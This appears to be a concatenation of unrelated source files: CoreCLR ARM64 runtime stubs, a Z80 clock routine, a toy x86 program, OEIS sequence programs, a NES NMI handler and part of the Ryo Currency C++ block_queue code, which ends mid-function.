bl UMThunkStubRareDisableWorker
RESTORE_FLOAT_ARGUMENT_REGISTERS sp, 0
add sp, sp, #SIZEOF__FloatArgumentRegisters
b UMThunkStub_InCooperativeMode
UMThunkStub_WrongAppDomain
; Saving FP Args as this is read by UM2MThunk_WrapperHelper
sub sp, sp, #SIZEOF__FloatArgumentRegisters
SAVE_FLOAT_ARGUMENT_REGISTERS sp, 0
; UMEntryThunk* pUMEntry
ldr x0, [fp, #UMThunkStub_HiddenArg]
; void * pArgs
add x2, fp, #16
; remaining arguments are unused
bl UM2MDoADCallBack
; restore any integral return value(s)
ldp x0, x1, [fp, #16]
; restore any FP or HFA return value(s)
RESTORE_FLOAT_ARGUMENT_REGISTERS sp, 0
b UMThunkStub_PostCall
NESTED_END
; UM2MThunk_WrapperHelper(void *pThunkArgs, // x0
; int cbStackArgs, // x1 (unused)
; void *pAddr, // x2 (unused)
; UMEntryThunk *pEntryThunk, // x3
; Thread *pThread) // x4
; pThunkArgs points to the argument registers pushed on the stack by UMThunkStub
NESTED_ENTRY UM2MThunk_WrapperHelper
PROLOG_SAVE_REG_PAIR fp, lr, #-32!
PROLOG_SAVE_REG x19, #16
; save pThunkArgs in non-volatile reg. It is required after return from call to ILStub
mov x19, x0
; ARM64TODO - Is this required by ILStub
mov x12, x3 ; // x12 = UMEntryThunk *
;
; Note that layout of the arguments is given by UMThunkStub frame
;
ldr x3, [x3, #UMEntryThunk__m_pUMThunkMarshInfo]
; m_cbActualArgSize is 4-byte field
ldr w2, [x3, #UMThunkMarshInfo__m_cbActualArgSize]
cbz w2, UM2MThunk_WrapperHelper_RegArgumentsSetup
; extend to 64- bits
uxtw x2, w2
; Source pointer. Subtracting 16 bytes due to fp & lr
add x6, x0, #(UMThunkStub_StackArgs-16)
; move source ptr to end of Stack Args
add x6, x6, x2
; Count of stack slot pairs to copy (divide by 16)
lsr x1, x2, #4
; Is there an extra stack slot? (can happen when stack arg bytes not multiple of 16)
and x2, x2, #8
; If yes then start source pointer from 16 byte aligned stack slot
add x6, x6, x2
; increment stack slot pair count by 1 if x2 is not zero
add x1, x1, x2, LSR #3
UM2MThunk_WrapperHelper_StackLoop
ldp x4, x5, [x6, #-16]!
stp x4, x5, [sp, #-16]!
subs x1, x1, #1
bne UM2MThunk_WrapperHelper_StackLoop
UM2MThunk_WrapperHelper_RegArgumentsSetup
ldr x16, [x3, #(UMThunkMarshInfo__m_pILStub)]
; reload floating point registers
RESTORE_FLOAT_ARGUMENT_REGISTERS x0, -1 * (SIZEOF__FloatArgumentRegisters + 16)
; reload argument registers
RESTORE_ARGUMENT_REGISTERS x0, 0
blr x16
; save any integral return value(s)
stp x0, x1, [x19]
; save any FP or HFA return value(s)
SAVE_FLOAT_ARGUMENT_REGISTERS x19, -1 * (SIZEOF__FloatArgumentRegisters + 16)
EPILOG_STACK_RESTORE
EPILOG_RESTORE_REG x19, #16
EPILOG_RESTORE_REG_PAIR fp, lr, #32!
EPILOG_RETURN
NESTED_END
#ifdef FEATURE_HIJACK
; ------------------------------------------------------------------
; Hijack function for functions which return a scalar type or a struct (value type)
NESTED_ENTRY OnHijackTripThread
PROLOG_SAVE_REG_PAIR fp, lr, #-144!
; Spill callee saved registers
PROLOG_SAVE_REG_PAIR x19, x20, #16
PROLOG_SAVE_REG_PAIR x21, x22, #32
PROLOG_SAVE_REG_PAIR x23, x24, #48
PROLOG_SAVE_REG_PAIR x25, x26, #64
PROLOG_SAVE_REG_PAIR x27, x28, #80
; save any integral return value(s)
stp x0, x1, [sp, #96]
; save any FP/HFA return value(s)
stp d0, d1, [sp, #112]
stp d2, d3, [sp, #128]
mov x0, sp
bl OnHijackWorker
; restore any integral return value(s)
ldp x0, x1, [sp, #96]
; restore any FP/HFA return value(s)
ldp d0, d1, [sp, #112]
ldp d2, d3, [sp, #128]
EPILOG_RESTORE_REG_PAIR x19, x20, #16
EPILOG_RESTORE_REG_PAIR x21, x22, #32
EPILOG_RESTORE_REG_PAIR x23, x24, #48
EPILOG_RESTORE_REG_PAIR x25, x26, #64
EPILOG_RESTORE_REG_PAIR x27, x28, #80
EPILOG_RESTORE_REG_PAIR fp, lr, #144!
EPILOG_RETURN
NESTED_END
#endif ; FEATURE_HIJACK
;; ------------------------------------------------------------------
;; Redirection Stub for GC in fully interruptible method
GenerateRedirectedHandledJITCaseStub GCThreadControl
;; ------------------------------------------------------------------
GenerateRedirectedHandledJITCaseStub DbgThreadControl
;; ------------------------------------------------------------------
GenerateRedirectedHandledJITCaseStub UserSuspend
;; ------------------------------------------------------------------
GenerateRedirectedHandledJITCaseStub YieldTask
#ifdef _DEBUG
; ------------------------------------------------------------------
; Redirection Stub for GC Stress
GenerateRedirectedHandledJITCaseStub GCStress
#endif
; ------------------------------------------------------------------
; This helper enables us to call into a funclet after restoring Fp register
NESTED_ENTRY CallEHFunclet
; On entry:
;
; X0 = throwable
; X1 = PC to invoke
; X2 = address of X19 register in CONTEXT record; used to restore the non-volatile registers of CrawlFrame
; X3 = address of the location where the SP of funclet's caller (i.e. this helper) should be saved.
;
; Using below prolog instead of PROLOG_SAVE_REG_PAIR fp,lr, #-16!
; is intentional. Above statement would also emit instruction to save
; sp in fp. If sp is saved in fp in prolog then it is not expected that fp can change in the body
; of method. However, this method needs to be able to change fp before calling funclet.
; This is required to access locals in funclet.
PROLOG_SAVE_REG_PAIR_NO_FP fp,lr, #-96!
; Spill callee saved registers
PROLOG_SAVE_REG_PAIR x19, x20, 16
PROLOG_SAVE_REG_PAIR x21, x22, 32
PROLOG_SAVE_REG_PAIR x23, x24, 48
PROLOG_SAVE_REG_PAIR x25, x26, 64
PROLOG_SAVE_REG_PAIR x27, x28, 80
; Save the SP of this function. We cannot store SP directly.
mov fp, sp
str fp, [x3]
ldp x19, x20, [x2, #0]
ldp x21, x22, [x2, #16]
ldp x23, x24, [x2, #32]
ldp x25, x26, [x2, #48]
ldp x27, x28, [x2, #64]
ldr fp, [x2, #80] ; offset of fp in CONTEXT relative to X19
; Invoke the funclet
blr x1
nop
EPILOG_RESTORE_REG_PAIR x19, x20, 16
EPILOG_RESTORE_REG_PAIR x21, x22, 32
EPILOG_RESTORE_REG_PAIR x23, x24, 48
EPILOG_RESTORE_REG_PAIR x25, x26, 64
EPILOG_RESTORE_REG_PAIR x27, x28, 80
EPILOG_RESTORE_REG_PAIR fp, lr, #96!
EPILOG_RETURN
NESTED_END CallEHFunclet
; This helper enables us to call into a filter funclet by passing it the CallerSP to lookup the
; frame pointer for accessing the locals in the parent method.
NESTED_ENTRY CallEHFilterFunclet
PROLOG_SAVE_REG_PAIR fp, lr, #-16!
; On entry:
;
; X0 = throwable
; X1 = SP of the caller of the method/funclet containing the filter
; X2 = PC to invoke
; X3 = address of the location where the SP of funclet's caller (i.e. this helper) should be saved.
;
; Save the SP of this function
str fp, [x3]
; Invoke the filter funclet
blr x2
EPILOG_RESTORE_REG_PAIR fp, lr, #16!
EPILOG_RETURN
NESTED_END CallEHFilterFunclet
GBLA FaultingExceptionFrame_StackAlloc
GBLA FaultingExceptionFrame_FrameOffset
FaultingExceptionFrame_StackAlloc SETA (SIZEOF__GSCookie + SIZEOF__FaultingExceptionFrame)
FaultingExceptionFrame_FrameOffset SETA SIZEOF__GSCookie
MACRO
GenerateRedirectedStubWithFrame $STUB, $TARGET
;
; This is the primary function to which execution will be redirected to.
;
NESTED_ENTRY $STUB
;
; IN: lr: original IP before redirect
;
PROLOG_SAVE_REG_PAIR fp, lr, #-16!
PROLOG_STACK_ALLOC FaultingExceptionFrame_StackAlloc
; At this point, the stack maybe misaligned if the thread abort was asynchronously
; triggered in the prolog or epilog of the managed method. For such a case, we must
; align the stack before calling into the VM.
;
; Runtime check for 16-byte alignment.
mov x0, sp
and x0, x0, #15
sub sp, sp, x0
; Save pointer to FEF for GetFrameFromRedirectedStubStackFrame
add x19, sp, #FaultingExceptionFrame_FrameOffset
; Prepare to initialize to NULL
mov x1,#0
str x1, [x19] ; Initialize vtbl (it is not strictly necessary)
str x1, [x19, #FaultingExceptionFrame__m_fFilterExecuted] ; Initialize BOOL for personality routine
mov x0, x19 ; move the ptr to FEF in X0
bl $TARGET
; Target should not return.
EMIT_BREAKPOINT
NESTED_END $STUB
MEND
; ------------------------------------------------------------------
;
; Helpers for async (NullRef, AccessViolation) exceptions
;
NESTED_ENTRY NakedThrowHelper2,,FixContextHandler
PROLOG_SAVE_REG_PAIR fp,lr, #-16!
; On entry:
;
; X0 = Address of FaultingExceptionFrame
bl LinkFrameAndThrow
; Target should not return.
EMIT_BREAKPOINT
NESTED_END NakedThrowHelper2
GenerateRedirectedStubWithFrame NakedThrowHelper, NakedThrowHelper2
; ------------------------------------------------------------------
; ResolveWorkerChainLookupAsmStub
;
; This method will perform a quick chained lookup of the entry if the
; initial cache lookup fails.
;
; On Entry:
; x9 contains the pointer to the current ResolveCacheElem
; x11 contains the address of the indirection (and the flags in the low two bits)
; x12 contains our contract the DispatchToken
; Must be preserved:
; x0 contains the instance object ref that we are making an interface call on
; x9 Must point to a ResolveCacheElem [For Sanity]
; [x1-x7] contains any additional register arguments for the interface method
;
; Loaded from x0
; x13 contains our type the MethodTable (from object ref in x0)
;
; On Exit:
; x0, [x1-x7] arguments for the interface implementation target
;
; On Exit (to ResolveWorkerAsmStub):
; x11 contains the address of the indirection and the flags in the low two bits.
; x12 contains our contract (DispatchToken)
; x16,x17 will be trashed
;
GBLA BACKPATCH_FLAG ; two low bit flags used by ResolveWorkerAsmStub
GBLA PROMOTE_CHAIN_FLAG ; two low bit flags used by ResolveWorkerAsmStub
BACKPATCH_FLAG SETA 1
PROMOTE_CHAIN_FLAG SETA 2
NESTED_ENTRY ResolveWorkerChainLookupAsmStub
tst x11, #BACKPATCH_FLAG ; First we check if x11 has the BACKPATCH_FLAG set
bne Fail ; If the BACKPATCH_FLAGS is set we will go directly to the ResolveWorkerAsmStub
ldr x13, [x0] ; retrieve the MethodTable from the object ref in x0
MainLoop
ldr x9, [x9, #ResolveCacheElem__pNext] ; x9 <= the next entry in the chain
cmp x9, #0
beq Fail
ldp x16, x17, [x9]
cmp x16, x13 ; compare our MT with the one in the ResolveCacheElem
bne MainLoop
cmp x17, x12 ; compare our DispatchToken with one in the ResolveCacheElem
bne MainLoop
Success
ldr x13, =g_dispatch_cache_chain_success_counter
ldr x16, [x13]
subs x16, x16, #1
str x16, [x13]
blt Promote
ldr x16, [x9, #ResolveCacheElem__target] ; get the ImplTarget
br x16 ; branch to interface implemenation target
Promote
; Move this entry to head postion of the chain
mov x16, #256
str x16, [x13] ; be quick to reset the counter so we don't get a bunch of contending threads
orr x11, x11, #PROMOTE_CHAIN_FLAG ; set PROMOTE_CHAIN_FLAG
Fail
b ResolveWorkerAsmStub ; call the ResolveWorkerAsmStub method to transition into the VM
NESTED_END ResolveWorkerChainLookupAsmStub
;; ------------------------------------------------------------------
;; void ResolveWorkerAsmStub(args in regs x0-x7 & stack and possibly retbuf arg in x8, x11:IndirectionCellAndFlags, x12:DispatchToken)
;;
;; The stub dispatch thunk which transfers control to VSD_ResolveWorker.
NESTED_ENTRY ResolveWorkerAsmStub
PROLOG_WITH_TRANSITION_BLOCK
add x0, sp, #__PWTB_TransitionBlock ; pTransitionBlock
and x1, x11, #-4 ; Indirection cell
mov x2, x12 ; DispatchToken
and x3, x11, #3 ; flag
bl VSD_ResolveWorker
mov x9, x0
EPILOG_WITH_TRANSITION_BLOCK_TAILCALL
EPILOG_BRANCH_REG x9
NESTED_END
#ifdef FEATURE_READYTORUN
NESTED_ENTRY DelayLoad_MethodCall
PROLOG_WITH_TRANSITION_BLOCK
add x0, sp, #__PWTB_TransitionBlock ; pTransitionBlock
mov x1, x11 ; Indirection cell
mov x2, x9 ; sectionIndex
mov x3, x10 ; Module*
bl ExternalMethodFixupWorker
mov x12, x0
EPILOG_WITH_TRANSITION_BLOCK_TAILCALL
; Share patch label
b ExternalMethodFixupPatchLabel
NESTED_END
MACRO
DynamicHelper $frameFlags, $suffix
NESTED_ENTRY DelayLoad_Helper$suffix
PROLOG_WITH_TRANSITION_BLOCK
add x0, sp, #__PWTB_TransitionBlock ; pTransitionBlock
mov x1, x11 ; Indirection cell
mov x2, x9 ; sectionIndex
mov x3, x10 ; Module*
mov x4, $frameFlags
bl DynamicHelperWorker
cbnz x0, %FT0
ldr x0, [sp, #__PWTB_ArgumentRegisters]
EPILOG_WITH_TRANSITION_BLOCK_RETURN
0
mov x12, x0
EPILOG_WITH_TRANSITION_BLOCK_TAILCALL
EPILOG_BRANCH_REG x12
NESTED_END
MEND
DynamicHelper DynamicHelperFrameFlags_Default
DynamicHelper DynamicHelperFrameFlags_ObjectArg, _Obj
DynamicHelper DynamicHelperFrameFlags_ObjectArg | DynamicHelperFrameFlags_ObjectArg2, _ObjObj
#endif // FEATURE_READYTORUN
#ifdef FEATURE_PREJIT
;; ------------------------------------------------------------------
;; void StubDispatchFixupStub(args in regs x0-x7 & stack and possibly retbuff arg in x8, x11:IndirectionCellAndFlags, x12:DispatchToken)
;;
;; The stub dispatch thunk which transfers control to StubDispatchFixupWorker.
NESTED_ENTRY StubDispatchFixupStub
PROLOG_WITH_TRANSITION_BLOCK
add x0, sp, #__PWTB_TransitionBlock ; pTransitionBlock
and x1, x11, #-4 ; Indirection cell
mov x2, #0 ; sectionIndex
mov x3, #0 ; pModule
bl StubDispatchFixupWorker
mov x9, x0
EPILOG_WITH_TRANSITION_BLOCK_TAILCALL
PATCH_LABEL StubDispatchFixupPatchLabel
EPILOG_BRANCH_REG x9
NESTED_END
#endif
#ifdef FEATURE_COMINTEROP
; ------------------------------------------------------------------
; Function used by COM interop to get floating point return value (since it's not in the same
; register(s) as non-floating point values).
;
; On entry;
; x0 : size of the FP result (4 or 8 bytes)
; x1 : pointer to 64-bit buffer to receive result
;
; On exit:
; buffer pointed to by x1 on entry contains the float or double argument as appropriate
;
LEAF_ENTRY getFPReturn
str d0, [x1]
LEAF_END
; ------------------------------------------------------------------
; Function used by COM interop to set floating point return value (since it's not in the same
; register(s) as non-floating point values).
;
; On entry:
; x0 : size of the FP result (4 or 8 bytes)
; x1 : 32-bit or 64-bit FP result
;
; On exit:
; s0 : float result if x0 == 4
; d0 : double result if x0 == 8
;
LEAF_ENTRY setFPReturn
fmov d0, x1
LEAF_END
#endif
;
; JIT Static access helpers when coreclr host specifies single appdomain flag
;
; ------------------------------------------------------------------
; void* JIT_GetSharedNonGCStaticBase(SIZE_T moduleDomainID, DWORD dwClassDomainID)
LEAF_ENTRY JIT_GetSharedNonGCStaticBase_SingleAppDomain
; If class is not initialized, bail to C++ helper
add x2, x0, #DomainLocalModule__m_pDataBlob
ldrb w2, [x2, w1]
tst w2, #1
beq CallHelper1
ret lr
CallHelper1
; Tail call JIT_GetSharedNonGCStaticBase_Helper
b JIT_GetSharedNonGCStaticBase_Helper
LEAF_END
; ------------------------------------------------------------------
; void* JIT_GetSharedNonGCStaticBaseNoCtor(SIZE_T moduleDomainID, DWORD dwClassDomainID)
LEAF_ENTRY JIT_GetSharedNonGCStaticBaseNoCtor_SingleAppDomain
ret lr
LEAF_END
; ------------------------------------------------------------------
; void* JIT_GetSharedGCStaticBase(SIZE_T moduleDomainID, DWORD dwClassDomainID)
LEAF_ENTRY JIT_GetSharedGCStaticBase_SingleAppDomain
; If class is not initialized, bail to C++ helper
add x2, x0, #DomainLocalModule__m_pDataBlob
ldrb w2, [x2, w1]
tst w2, #1
beq CallHelper2
ldr x0, [x0, #DomainLocalModule__m_pGCStatics]
ret lr
CallHelper2
; Tail call Jit_GetSharedGCStaticBase_Helper
b JIT_GetSharedGCStaticBase_Helper
LEAF_END
; ------------------------------------------------------------------
; void* JIT_GetSharedGCStaticBaseNoCtor(SIZE_T moduleDomainID, DWORD dwClassDomainID)
LEAF_ENTRY JIT_GetSharedGCStaticBaseNoCtor_SingleAppDomain
ldr x0, [x0, #DomainLocalModule__m_pGCStatics]
ret lr
LEAF_END
; Must be at very end of file
END
|
;
; Grundy NewBrain clock()
;
; stefano 5/4/2007
;
; ------
; $Id: clock.asm,v 1.3 2015/01/19 01:33:24 pauloscustodio Exp $
;
PUBLIC clock
EXTERN nbclockptr
.clock
ld hl,(nbclockptr)
ld c,(hl)
inc hl
ld b,(hl)
inc hl
ld e,(hl)
inc hl
ld d,(hl)
ld h,b
ld l,c
ret
|
%include "macros.asm"
global _start
section .data
message: define_byte "Ahe{jda", 10
length: equ $-message
section .text
%assign CAP 'a' - 'A'
_start:
mov preserved (0), message
mov preserved (1), length
mov preserved (2), length
loop:
cmp byte [preserved (0)], 'a'
jb end_loop
cmp byte [preserved (0)], 'z'
ja end_loop
sub byte [preserved (0)], CAP
; cmp byte [preserved (message)], 'a'
end_loop:
inc preserved (0)
dec preserved (2)
cout (message, length)
jnz loop
jmp end
mov rbx, 999
end:
exit
make_upper:
|
; A134154: a(n) = 15n^2 - 9n + 1.
; 1,7,43,109,205,331,487,673,889,1135,1411,1717,2053,2419,2815,3241,3697,4183,4699,5245,5821,6427,7063,7729,8425,9151,9907,10693,11509,12355,13231,14137,15073,16039,17035,18061,19117,20203,21319,22465,23641
mov $1,$0
bin $0,2
mul $0,5
add $1,$0
mul $1,6
add $1,1
|
; A053388: A053398(8, n).
; 3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,3,3,3,3,3,3,3,3,5,5,5,5,5,5,5,5,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,3,3,3,3,3,3,3,3,6,6,6,6,6,6,6,6,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,3,3,3,3,3,3,3,3,5,5,5,5,5,5,5,5,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,3,3,3,3,3,3,3,3,7,7,7,7,7,7,7,7,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,3,3,3,3,3,3,3,3,5,5,5,5,5,5,5,5,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,3,3,3,3,3,3,3,3,6,6,6,6,6,6,6,6,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,3,3,3,3,3,3,3,3,5,5,5,5,5,5,5,5,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,3,3,3,3,3,3,3,3,8,8
div $0,2
cal $0,53384 ; A053398(4, n).
mov $1,$0
add $1,1
|
.segment "ZEROPAGE"
nmi_ready: .res 1
palette_init: .res 1
.segment "CODE"
nmi:
pha ; make sure we don't clobber the A register
lda nmi_ready ; check the nmi_ready flag
bne nmi_go ; if nmi_ready set to 1 we can execute the nmi code
pla
rti
nmi_go:
; set the player metasprite with a proc
; call the oam dma with a macro
jsr oam_dma
printf_nmi "HELLO WORLD", 80, 96
lda PPU_STATUS ; $2002
set PPU_SCROLL, #0 ; scroll_x
sta PPU_SCROLL ; , #0
set nmi_ready, #0
pla
rti
|
; A022398: Fibonacci sequence beginning 1, 28.
; Submitted by Jamie Morken(s4)
; 1,28,29,57,86,143,229,372,601,973,1574,2547,4121,6668,10789,17457,28246,45703,73949,119652,193601,313253,506854,820107,1326961,2147068,3474029,5621097,9095126,14716223,23811349,38527572,62338921,100866493,163205414,264071907,427277321,691349228,1118626549,1809975777,2928602326,4738578103,7667180429,12405758532,20072938961,32478697493,52551636454,85030333947,137581970401,222612304348,360194274749,582806579097,943000853846,1525807432943,2468808286789,3994615719732,6463424006521,10458039726253
mov $1,1
mov $2,27
lpb $0
sub $0,1
mov $3,$2
mov $2,$1
add $1,$3
lpe
mov $0,$1
|
// Copyright (c) 2018, Ryo Currency Project
// Portions copyright (c) 2014-2018, The Monero Project
//
// Portions of this file are available under BSD-3 license. Please see ORIGINAL-LICENSE for details
// All rights reserved.
//
// ombre changes to this code are in public domain. Please note, other licences may apply to the file.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
// EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
// THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
// THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
//
// Parts of this file are originally copyright (c) 2012-2013 The Cryptonote developers
#include "block_queue.h"
#include "cryptonote_protocol_defs.h"
#include "string_tools.h"
#include <boost/uuid/nil_generator.hpp>
#include <unordered_map>
#include <vector>
//#undef RYO_DEFAULT_LOG_CATEGORY
//#define RYO_DEFAULT_LOG_CATEGORY "cn.block_queue"
namespace std
{
static_assert(sizeof(size_t) <= sizeof(boost::uuids::uuid), "boost::uuids::uuid too small");
template <>
struct hash<boost::uuids::uuid>
{
std::size_t operator()(const boost::uuids::uuid &_v) const
{
return reinterpret_cast<const std::size_t &>(_v);
}
};
}
namespace cryptonote
{
void block_queue::add_blocks(uint64_t height, std::list<cryptonote::block_complete_entry> bcel, const boost::uuids::uuid &connection_id, float rate, size_t size)
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
std::list<crypto::hash> hashes;
bool has_hashes = remove_span(height, &hashes);
blocks.insert(span(height, std::move(bcel), connection_id, rate, size));
if(has_hashes)
set_span_hashes(height, connection_id, hashes);
}
void block_queue::add_blocks(uint64_t height, uint64_t nblocks, const boost::uuids::uuid &connection_id, boost::posix_time::ptime time)
{
CHECK_AND_ASSERT_THROW_MES(nblocks > 0, "Empty span");
boost::unique_lock<boost::recursive_mutex> lock(mutex);
blocks.insert(span(height, nblocks, connection_id, time));
}
void block_queue::flush_spans(const boost::uuids::uuid &connection_id, bool all)
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
block_map::iterator i = blocks.begin();
while(i != blocks.end())
{
block_map::iterator j = i++;
if(j->connection_id == connection_id && (all || j->blocks.size() == 0))
{
blocks.erase(j);
}
}
}
void block_queue::flush_stale_spans(const std::set<boost::uuids::uuid> &live_connections)
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
block_map::iterator i = blocks.begin();
if(i != blocks.end() && is_blockchain_placeholder(*i))
++i;
while(i != blocks.end())
{
block_map::iterator j = i++;
if(live_connections.find(j->connection_id) == live_connections.end() && j->blocks.size() == 0)
{
blocks.erase(j);
}
}
}
bool block_queue::remove_span(uint64_t start_block_height, std::list<crypto::hash> *hashes)
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
for(block_map::iterator i = blocks.begin(); i != blocks.end(); ++i)
{
if(i->start_block_height == start_block_height)
{
if(hashes)
*hashes = std::move(i->hashes);
blocks.erase(i);
return true;
}
}
return false;
}
void block_queue::remove_spans(const boost::uuids::uuid &connection_id, uint64_t start_block_height)
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
for(block_map::iterator i = blocks.begin(); i != blocks.end();)
{
block_map::iterator j = i++;
if(j->connection_id == connection_id && j->start_block_height <= start_block_height)
{
blocks.erase(j);
}
}
}
uint64_t block_queue::get_max_block_height() const
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
uint64_t height = 0;
for(const auto &span : blocks)
{
const uint64_t h = span.start_block_height + span.nblocks - 1;
if(h > height)
height = h;
}
return height;
}
void block_queue::print() const
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
MDEBUG("Block queue has " << blocks.size() << " spans");
for(const auto &span : blocks)
MDEBUG(" " << span.start_block_height << " - " << (span.start_block_height + span.nblocks - 1) << " (" << span.nblocks << ") - " << (is_blockchain_placeholder(span) ? "blockchain" : span.blocks.empty() ? "scheduled" : "filled ") << " " << span.connection_id << " (" << ((unsigned)(span.rate * 10 / 1024.f)) / 10.f << " kB/s)");
}
std::string block_queue::get_overview() const
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
if(blocks.empty())
return "[]";
block_map::const_iterator i = blocks.begin();
std::string s = std::string("[") + std::to_string(i->start_block_height + i->nblocks - 1) + ":";
while(++i != blocks.end())
s += i->blocks.empty() ? "." : "o";
s += "]";
return s;
}
bool block_queue::requested(const crypto::hash &hash) const
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
for(const auto &span : blocks)
{
for(const auto &h : span.hashes)
if(h == hash)
return true;
}
return false;
}
std::pair<uint64_t, uint64_t> block_queue::reserve_span(uint64_t first_block_height, uint64_t last_block_height, uint64_t max_blocks, const boost::uuids::uuid &connection_id, const std::list<crypto::hash> &block_hashes, boost::posix_time::ptime time)
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
if(last_block_height < first_block_height || max_blocks == 0)
{
MDEBUG("reserve_span: early out: first_block_height " << first_block_height << ", last_block_height " << last_block_height << ", max_blocks " << max_blocks);
return std::make_pair(0, 0);
}
uint64_t span_start_height = last_block_height - block_hashes.size() + 1;
std::list<crypto::hash>::const_iterator i = block_hashes.begin();
while(i != block_hashes.end() && requested(*i))
{
++i;
++span_start_height;
}
uint64_t span_length = 0;
std::list<crypto::hash> hashes;
while(i != block_hashes.end() && span_length < max_blocks)
{
hashes.push_back(*i);
++i;
++span_length;
}
if(span_length == 0)
return std::make_pair(0, 0);
MDEBUG("Reserving span " << span_start_height << " - " << (span_start_height + span_length - 1) << " for " << connection_id);
add_blocks(span_start_height, span_length, connection_id, time);
set_span_hashes(span_start_height, connection_id, hashes);
return std::make_pair(span_start_height, span_length);
}
bool block_queue::is_blockchain_placeholder(const span &span) const
{
return span.connection_id == boost::uuids::nil_uuid();
}
std::pair<uint64_t, uint64_t> block_queue::get_start_gap_span() const
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
if(blocks.empty())
return std::make_pair(0, 0);
block_map::const_iterator i = blocks.begin();
if(!is_blockchain_placeholder(*i))
return std::make_pair(0, 0);
uint64_t current_height = i->start_block_height + i->nblocks - 1;
++i;
if(i == blocks.end())
return std::make_pair(0, 0);
uint64_t first_span_height = i->start_block_height;
if(first_span_height <= current_height + 1)
return std::make_pair(0, 0);
MDEBUG("Found gap at start of spans: last blockchain block height " << current_height << ", first span's block height " << first_span_height);
print();
return std::make_pair(current_height + 1, first_span_height - current_height - 1);
}
std::pair<uint64_t, uint64_t> block_queue::get_next_span_if_scheduled(std::list<crypto::hash> &hashes, boost::uuids::uuid &connection_id, boost::posix_time::ptime &time) const
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
if(blocks.empty())
return std::make_pair(0, 0);
block_map::const_iterator i = blocks.begin();
if(is_blockchain_placeholder(*i))
++i;
if(i == blocks.end())
return std::make_pair(0, 0);
if(!i->blocks.empty())
return std::make_pair(0, 0);
hashes = i->hashes;
connection_id = i->connection_id;
time = i->time;
return std::make_pair(i->start_block_height, i->nblocks);
}
void block_queue::set_span_hashes(uint64_t start_height, const boost::uuids::uuid &connection_id, std::list<crypto::hash> hashes)
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
for(block_map::iterator i = blocks.begin(); i != blocks.end(); ++i)
{
if(i->start_block_height == start_height && i->connection_id == connection_id)
{
span s = *i;
blocks.erase(i);
s.hashes = std::move(hashes);
blocks.insert(s);
return;
}
}
}
bool block_queue::get_next_span(uint64_t &height, std::list<cryptonote::block_complete_entry> &bcel, boost::uuids::uuid &connection_id, bool filled) const
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
if(blocks.empty())
return false;
block_map::const_iterator i = blocks.begin();
if(is_blockchain_placeholder(*i))
++i;
for(; i != blocks.end(); ++i)
{
if(!filled || !i->blocks.empty())
{
height = i->start_block_height;
bcel = i->blocks;
connection_id = i->connection_id;
return true;
}
}
return false;
}
bool block_queue::has_next_span(const boost::uuids::uuid &connection_id, bool &filled) const
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
if(blocks.empty())
return false;
block_map::const_iterator i = blocks.begin();
if(is_blockchain_placeholder(*i))
++i;
if(i == blocks.end())
return false;
if(i->connection_id != connection_id)
return false;
filled = !i->blocks.empty();
return true;
}
size_t block_queue::get_data_size() const
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
size_t size = 0;
for(const auto &span : blocks)
size += span.size;
return size;
}
size_t block_queue::get_num_filled_spans_prefix() const
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
if(blocks.empty())
return 0;
block_map::const_iterator i = blocks.begin();
if(is_blockchain_placeholder(*i))
++i;
size_t size = 0;
while(i != blocks.end() && !i->blocks.empty())
{
++i;
++size;
}
return size;
}
size_t block_queue::get_num_filled_spans() const
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
size_t size = 0;
for(const auto &span : blocks)
if(!span.blocks.empty())
++size;
return size;
}
crypto::hash block_queue::get_last_known_hash(const boost::uuids::uuid &connection_id) const
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
crypto::hash hash = crypto::null_hash;
uint64_t highest_height = 0;
for(const auto &span : blocks)
{
if(span.connection_id != connection_id)
continue;
uint64_t h = span.start_block_height + span.nblocks - 1;
if(h > highest_height && span.hashes.size() == span.nblocks)
{
hash = span.hashes.back();
highest_height = h;
}
}
return hash;
}
bool block_queue::has_spans(const boost::uuids::uuid &connection_id) const
{
for(const auto &span : blocks)
{
if(span.connection_id == connection_id)
return true;
}
return false;
}
float block_queue::get_speed(const boost::uuids::uuid &connection_id) const
{
